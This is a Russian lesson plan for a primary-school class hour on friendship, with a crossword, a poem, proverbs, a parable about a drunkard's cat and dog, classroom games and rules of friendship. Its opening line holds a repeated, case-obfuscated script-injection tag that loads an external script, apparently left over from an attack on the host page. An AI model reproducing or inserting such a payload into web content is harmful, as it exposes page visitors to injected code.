<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

13.02.2017

Дата проведения: 08.02.17

Тема : «Будем дружить»

Цель: Обучение доброжелательности, стремлению понимать друг

друга, учить разделять радости и печали.

Задачи:

Образовательные

Ознакомить с правилами дружбы, показать важность истинных

друзей в жизни человека, показать, что человек не может жить один, ему нужны

верные друзья.

Развивающие:

Развитие дружеских отношений

в семье, школе, классе

Воспитательные:

Воспитание

доброжелательности, толерантности.

Оборудование:Карточки, листы А4, цветные карточки, сказка

«Лисица и журавль», лепестки ромашки, плакат, песня группы Барбариков «Друзья»

Ход классного часа

Организационный

момент. Приветствие

Ковер настроения

-

Прежде, чем мы начнем наш классный час, я хотела бы узнать, какое у вас

настроение. Давайте с вами выложим общий «Ковер настроения».

У

вас на столах 3 цветка (показываю), из них мы и выложим наш «ковер настроения».

Красный цвет обозначает веселое, бодрое настроение;

Зелёный – спокойное;

Синий – грустное.

-

Возьмите цвет вашего настроения и приклейте на лист.

-

Какой у нас получился ковер?

-

Итак с хорошим настроением отправляемся в путь.

Учитель: Ребята, сегодня у

нас интересная и серьёзная тема классного часа. А о чём мы будем говорить, вы

узнаете, когда разгадаете кроссворд.

1. Хозяин лесной просыпается
2. весной, а зимой под вьюжный вой спит в избушке ледяной (медведь).
3. Одной ручкой всех встречает, а
4. другой провожает (дверь).
5. В лесу у пня с утра беготня,
6. народ рабочий весь день хлопочет (муравьи).
7. С неба – звездой, в ладошку –
8. водой (снежинка).
9. Стоит Антошка на одной ножке
10. (гриб).
11. Из горячего колодца через нос
12. водица льётся (чайник)

- Какое слово получилось

из выделенных букв? (Дружба)

Правильно. Сегодня о чем

вы будете говорить на уроке?

Тема классного часа

«Будем дружить»

Цель классного часа: Научиться 

ценить друзей, дружбу, заботиться о близких людях

Слушание (просмотр)

русской народной сказки «Лисица и журавль». Решение ситуативной задачи.

- Можно ли лису с

журавлем назвать друзьями? Почему?

- А среди людей есть

такие отношения?

Беседа по теме классного

часа

Обсуждение вопросов:

- Как вы понимаете слово «дружба»?

- Кто такой друг?

- У кого есть друг,

друзья?

- Что значит – дружить?

- Хорошо ли быть без

друзей?

Дружба – это близкие

отношения, основанные на взаимном доверии. Привязанности, общности интересов.

Стихотворение «Дружба»

Дружба

– это тёплый ветер, 

Дружба – это светлый мир, 

Дружба – солнце на рассвете, 

Для души весёлый пир. 

Дружба – это только счастье, 

Дружба – у людей одна. 

С дружбой не страшны ненастья, 

С дружбой – жизнь весной полна. 

Друг разделит боль и радость, 

Друг поддержит и спасёт. 

С другом – даже злая слабость 

В миг растает и уйдет. 

Верь, храни, цени же дружбу, 

Это высший идеал. 

Тебе она сослужит службу. 

Ведь дружба – это ценный дар!

- О дружбе размышляли во

все времена, о ней письменно и устно излагали свои мысли поэты, писатели,

ученые, философы. Например, философ Сократ говорил так: «Никакое общение между

людьми невозможно без дружбы»

- Очень много написано и придумано пословиц о

дружбе (обсуждение пословиц и поговорок)

1. Не имей сто рублей, а

имей сто друзей.

2.

Нет друга – ищи, а нашел – береги.

3. Один в поле не воин.

4. Один за всех и все за

одного.

5. Птица сильна крыльями,

а человек – дружбой.

6. Будь вежлив и у тебя

будет много друзей.

7. Человек без друзей,

что дерево без корней.

 - Когда люди дружат, они хотят быть вместе,

они интересуют друг друга, доверяют друг другу.

- А кого называют

настоящими друзьями? (ответы детей)

Тренинг по определению

положительных качеств

-

А сейчас мы выясним, какими качествами характера должен обладать настоящий

друг.

(работа в группе)

РОМАШКА ДРУЖБЫ.  Давайте попробуем это определить.

(на столе у учителя лепестки, на которых напечатаны нравственные

качества, дети по одному берут, зачитывают вслух –лепестки с положительными

качествами вывешиваются на доску в форме Ромашки)

• Добрый
• Отзывчивый
• Черствый
• Искренний
• Враждебный
• Рассудительный
• Лживый
• Ласковый
• Любознательный
• Общительный.
• Грубый
• Заботливый
• Вредный
• Драчливый
• Вежливый
• Хвастливый
• Терпеливый
• Уступчивый
• Равнодушный
• Бескорыстный
• Жадный
• Щедрый

- Вот такая у нас

получилась Ромашка Дружбы.

- Да, ребята, вы очень

внимательны! Действительно, чтобы рядом с вами были настоящие друзья, вы должны

учиться овладевать всеми этими качествами.

-Ребята, а у вас есть

друзья? Поднимите руки, у кого есть? А вы можете объяснить, почему свои

отношения называете дружбой?

Друг - это тот человек, который тревожится,

волнуется, пережива­ет и радуется за своего друга, т. е. несет ответственность

за другого.

- А для чего нужны

друзья?

В противоположных

сторонах класса вывешены два плаката. На одном написано - «Дружба в классе не

нужна», на другом - «Дружба в классе нужна».

Учащимся

предлагается определить свою позицию и встать около того плаката, который

соответствует их точке зрения на данный вопрос.

-

Обсуждение выбора детей. Работа над понятием «зачем дружба нужна в классе?».

Настоящий друг. Притча о дружбе

Жил

горький пьяница. И были у него кот и собака, которые постоянно спорили, кто из

них настоящий друг хозяина.

Вот захотел он однажды, как всегда выпить.

А кошка, которая выручала его, когда у него в таких случаях не было денег, уже

тут как тут:

- Ты продай меня, да купи себе выпить! А я, как твой самый верный и настоящий друг,

сбегу и снова вернусь к тебе!

Сказано-сделано. Продал пьяница кошку.

Купил на вырученные деньги бутылку вина.

И только собрался выпить, как собака вдруг так зарычала, что бутылка выпала у

него из рук, и все вино пролилось на землю.

- Ах, так? – рассердился пьяница и принялся бить собаку.

Но та даже убегать не стала.

- Бей говорит, только не пей!

Тут, на счастье собаки, кошка вернулась.

Узнала, в чем дело, взглянула победно на побитую собаку и снова отправилась с

хозяином на базар.

Вернулся тот с новой бутылкой вина.

И только откупорил ее, как собака на этот раз ка-ак рявкнет, что и эта бутылка

упала и разбилась.

Разъярился пьяница.

Принялся он чем ни попадя бить собаку.

Сам хуже цепного пса стал.

- Ненавижу! – рычит. – Убью!

- Убей! – согласилась собака. – Только не пей!

Посмотрел на нее пьяница.

И вдруг глаза его стали осмысленными.

Понял он, наконец, кто у него настоящий друг.

И стал гладить собаку и просить у нее прощения.

А кошку, когда та снова вернулась, опять продал. Только на этот раз так далеко,

чтобы она уже никогда не смогла возвратиться…

Автор притчи монах Варнава (Евгений Санин)

Физкультминутка: 

Я дрозд

Ты дрозд и я дрозд (показывают)

У тебя

нос и у меня нос.

У тебя

щёчки аленькие и у меня щечки алленькие

Мы два

друга, мы любим, друг друга (обнимаются).

Мимическая гимнастика

– Улыбнитесь друг другу.

– Примите такое выражение лица, какое должно быть у дружелюбно настроенного

человека.

- У каждого из вас есть ладошка, которую вы обвели и

вырезали самостоятельно. Она имеет особую энергетику. Подарите ее тому мальчику

или девочке, которого вы считаете своим другом, или тому, с кем бы вы хотели

дружить. И тогда вам действительно будет уютно и приятно жить в нашем общем

доме, в школе.

-Сейчас вы только

учитесь дружить. А чтобы дружба была крепкой, нужно соблюдать законы.

Существует много законов дружбы. Вот некоторые из них.

Основные законы дружбы

1. Не обзывай и не унижай своего
2. друга.
3. Помогай другу в беде.
4. Не обманывай друга, будь с ним
5. честен.
6. Не предавай своего друга.
7. Умей признать свои ошибки и помириться
8. с другом.
9. Будь внимателен к своему другу.
10. Умей уступать своему другу.
11. Уметь хранить чужие секреты.
12. Радоваться вместе с другом его
13. успехам.
14. Защищать друга.
15. Делись с друзьями.
16. Всегда выполнять свои обещания.

-Давайте вспомним

персонажей из произведений, которые действительно умели дружить.

Игра

«Кто с кем дружит?»

- . Я называю

персонажа из сказки, а вы должны сказать с кем он дружит?

1. Зелёный крокодил Гена и … (Чебурашка)

2. Доверчивый Буратино и … (Мальвина,Пьеро)

3. Смешной мишка Винни-Пух и … (Пятачок)

4. Мальчик по имени Малыш и … (Карлсон)

5. Забавные Бурундуки Чип и …(Дейл).

6. Добрая Белоснежка и…(семь гномов).

1. Какая девочка выручала своего
2. друга Кая из ледового плена? ……..(Герда)

8. Карлсон бухнулся в

кровать и, схватившись за голову, произнес:» Я самый больной в мире человек». Потребовал лекарство. Малыш дал

лекарство, на что Карлсон ответил: «Друг спас жизнь друга». Какое

лекарство дал Малыш Карлсону? (Малиновое варенье).

Рефлексия

- Ребята, понравился ли вам классный час?

- Так что же такое

дружба?

- Почему необходимо

дружить?

- Какие выводы для себя

сделаете?

- Наш сегодняшний

классный час о дружбе подошел к концу. Наш класс – это маленькая семья.

Хотелось бы, чтобы в нашей семье всегда царили доброта, уважение, любовь,

взаимопонимание.

- И в  заключение нашего праздника и в честь

настоящей дружбы, споем песню Группы Барбариков «Друзья»,а теперь  проведём праздничный салют.

На слово «красный» -

хлопают все мальчики. На слово «жёлтый» - хлопают девочки. И на слово «Зелёный»

- хлопаем все дружно.

Итак:

«Красный» - хлопают

мальчики.

«Жёлтый» - хлопают

  девочки.

«Зелёный» - хлопают все

вместе.

- Давайте встанем и

скажем друг другу слова известного героя, добрейшего и терпеливейшего кота Леопольда:

«Ребята, давайте жить дружно!»